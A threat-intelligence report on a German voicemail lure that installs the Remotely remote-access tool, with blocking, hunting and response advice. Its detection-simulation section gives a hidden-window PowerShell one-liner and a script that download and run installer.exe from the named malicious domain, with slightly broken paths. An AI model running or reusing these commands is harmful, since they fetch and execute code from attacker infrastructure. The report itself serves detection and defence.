Voicemail Trap: German-Language Voicemail Lure Leads to Remote Access

Summary

Threat actors are hosting German-language “voicemail” landing pages that entice users to download a BAT file. The script plays a benign audio decoy while quietly installing the legitimate Remotely remote monitoring tool. Once deployed, the RMM agent gives the attacker persistent remote access through attacker-controlled C2 infrastructure.

Investigation

Censys identified 86 compromised web properties on *.cadillac.ps domains distributing the malicious BAT. The script invokes a PowerShell installer hosted on remotely.billbutterworth.com, which pulls a Remotely ZIP package. The archive contains the Remotely agent components and a service that installs under C:\Program Files\Remotely.

Mitigation

Block *.cadillac.ps domains and remotely.billbutterworth.com at the DNS/proxy layer. Train users not to run unexpected BAT files or copy/paste PowerShell commands from unknown webpages. Deploy endpoint controls to detect Remotely service creation and suspicious install paths or unsigned tooling.

Response

Alert on creation of Remotely_Service and presence of Remotely_Agent.exe under Program Files. Hunt for voicemail.bat and the associated PowerShell installer activity. Isolate affected hosts, collect forensic artifacts, and rotate/revoke any credentials or tokens leveraged by the RMM agent.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Phishing Delivery: The attacker sends an email with a German‑language voicemail lure attachment (HTML) that, when opened, redirects the victim to http://bannerbank.cadillac.ps/voicemail.html.
  2. Landing Page Execution: The landing page hosts a malicious PowerShell one‑liner that downloads and executes a remote‑management‑tool (RMM) installer.
  3. Process Creation: When the victim’s browser processes the page, PowerShell is invoked with a command line that explicitly includes the two strings the rule watches for.
  4. Resulting Telemetry: Windows logs Event ID 4688 with a CommandLine containing both “voicemail-themed landing page” and “bannerbank.cadillac.ps”, thereby satisfying the Sigma condition.

  The exact command used for the simulation:

  # Simulated malicious execution – contains both trigger strings
  Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"Write-Host 'voicemail-themed landing page'; Invoke-WebRequest -Uri 'http://bannerbank.cadillac.ps/installer.exe' -OutFile $env:TEMPinstaller.exe; Start-Process $env:TEMPinstaller.exe`""

• Regression Test Script: A self‑contained PowerShell script that reproduces the attack and can be run on any Windows host with the required logging enabled.

  <#
  .SYNOPSIS
      Simulates the German voicemail lure that triggers the Sigma detection rule.
  .DESCRIPTION
      Executes a PowerShell command line containing both required substrings.
  #>
  
  # Define malicious strings
  $lureText = "voicemail-themed landing page"
  $maliciousDomain = "bannerbank.cadillac.ps"
  
  # Build the one‑liner that will appear in the command line
  $payload = @"
  Write-Host '$lureText';
  Invoke-WebRequest -Uri 'http://$maliciousDomain/installer.exe' -OutFile $env:TEMPinstaller.exe;
  Start-Process $env:TEMPinstaller.exe
  "@
  
  # Launch PowerShell with the crafted command line
  $psArgs = "-NoProfile -WindowStyle Hidden -Command `"$payload`""
  Write-Host "Launching malicious PowerShell command..."
  Start-Process -FilePath "powershell.exe" -ArgumentList $psArgs -PassThru
  
  # Optional: wait a few seconds to ensure logging
  Start-Sleep -Seconds 5

• Cleanup Commands: Remove the downloaded installer and any residual processes.

  # Stop any lingering installer process
  Get-Process -Name "installer" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Delete the temporary installer file
  $installerPath = "$env:TEMPinstaller.exe"
  if (Test-Path $installerPath) {
      Remove-Item $installerPath -Force
      Write-Host "Cleaned up $installerPath"
  }